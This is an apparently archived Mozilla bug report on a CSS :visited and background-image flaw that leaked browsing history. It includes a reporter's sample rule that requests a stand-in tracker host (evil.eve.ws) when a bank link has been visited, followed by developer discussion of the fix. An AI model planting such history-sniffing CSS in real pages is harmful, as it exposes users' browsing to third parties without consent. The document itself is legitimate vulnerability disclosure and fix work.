Closed Bug 557287 Opened 14 years ago Closed 14 years ago

:visited and background-image still allows queries into global history

Categories

(Core :: CSS Parsing and Computation, defect, P2)

Product:
Core
Component:
CSS Parsing and Computation
Type:
defect

Tracking

()

Status:
RESOLVED FIXED
Milestone:
mozilla1.9.3a4
Tracking Flags:
Tracking Status
blocking2.0 --- final+
status2.0 --- ?

People

(Reporter: geekboy, Assigned: dbaron)

References

(
URL
)

Details

Attachments

(3 files)

patch 1: make style contexts know if they are if-visited style
5.14 KB, patch
bzbarsky
: review+
Details | Diff | Splinter Review
patch 2: don't start image loads for if-visited style contexts
5.11 KB, patch
bzbarsky
: review+
Details | Diff | Splinter Review
patch 3: tests
9.55 KB, patch
Details | Diff | Splinter Review 
Using :visited and url() in background-image leaks browsing history back to a web server.  The server can pair the url() requests for visited links with a user who hits their site, thus reconstructing browser history.  Should have been fixed by bug 147777.

Reproduced on mac and linux in "Gecko/20100405 Minefield/3.7a4pre"

Steps to Reproduce:
1) visit amazon.com in a clean profile
2) visit http://browser-recon.info
3) click the "View" link under the banner
4) observe that amazon.com is visited

Sample Code:
<head>
[...]
<style type="text/css">
  #foo:visited{
    background: url(http://evil.eve.ws/tracker?who=thisuser&what=somebank);
  }
</style>
</head>    
<body>
<a id="foo" href="http://some.bank.com/login"></a>
[...]
blocking2.0: --- → ?
status2.0: --- → ?
So the behavior that I expected based on what I implemented was that this site would think that all links are visited.  And that's what I get in a build I still have that's based on the state of my bug 147777 work as of March 15, but not in a more current build.  So something broke, and I still don't know what.  In particular, the code that worked is my patch queue in this state:
http://hg.mozilla.org/users/dbaron_mozilla.com/patches/file/082ee7c32827
on top of mozilla-central:
http://hg.mozilla.org/mozilla-central/file/3c689de8ee14

(That said, I also wrote a testcase that I expected would show the problem, and it did what I expected.)
What's happening here is the following:

 * during frame construction, we kick off image loads in nsCSSFrameConstructor::ConstructFramesFromItem by calling styleContext->GetStyleBackground()

 * we only do a GetStyleBackground on the style-if-visited (starting the image load) if:
   + we paint the frame
   + we process as style change

The async restyling for :visited counts as the second.


Since the same thing could be done for all other image types, I think the right fix here is to teach nsCSSDataBlock not to start image loads for things in the if-visited style context, which I thought was something I needed to do eventually (for performance) anyway.
Assignee: nobody → dbaron
Status: NEW → ASSIGNED
Priority: -- → P1
Target Milestone: --- → mozilla1.9.3a4
Attached patch patch 3: tests — — Splinter Review 
The _empty set of tests showed the bug before (but with a different set of expected results, since I was expected all images loaded once).
Hmm.  For some reason I thought we always got background data on the visited sc (if non-null) when we get it on the "real" one...

I guess just not doing any loads from the visited sc is a better approach than that, though.
So patch 1 disables style context sharing for "if visited" style contexts, as far as I can tell.  Why do we want to do that?
Comment on attachment 437140 [details] [diff] [review]
patch 2: don't start image loads for if-visited style contexts

r=bzbarsky
Attachment #437140 - Flags: review?(bzbarsky) → review+
(In reply to comment #7)
> So patch 1 disables style context sharing for "if visited" style contexts, as
> far as I can tell.  Why do we want to do that?

Well, right now sharing is done by style-context-pair anyway.  In other words, we make a single FindChildWithRules call to find both style contexts.  So the only thing it disables is reusing a regular style context that lacks an if-visited context as an if-visited context for some other regular style context, or vice versa -- a situation that can't actually happen in HTML and seems pretty unlikely elsewhere as well.
(In reply to comment #6)
> Hmm.  For some reason I thought we always got background data on the visited sc
> (if non-null) when we get it on the "real" one...

There are a bunch of places where we only get data from the main style context -- in fact, most places we use the struct.  The invariant we maintain is that whether we get data from only the main one or from both doesn't depend on whether links are visited.


Now, as a followup, I might want to change things so places always forces a restyle when the history check comes back, whether the link is visited or not.  That would also fix this bug, and perhaps fix other things too.
> In other words, we make a single FindChildWithRules call to find both style
> contexts.

Ah, I see.  I'd missed that part, yeah.
Comment on attachment 437139 [details] [diff] [review]
patch 1: make style contexts know if they are if-visited style

r=bzbarsky
Attachment #437139 - Flags: review?(bzbarsky) → review+
blocking2.0: ? → final+
Priority: P1 → P2
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: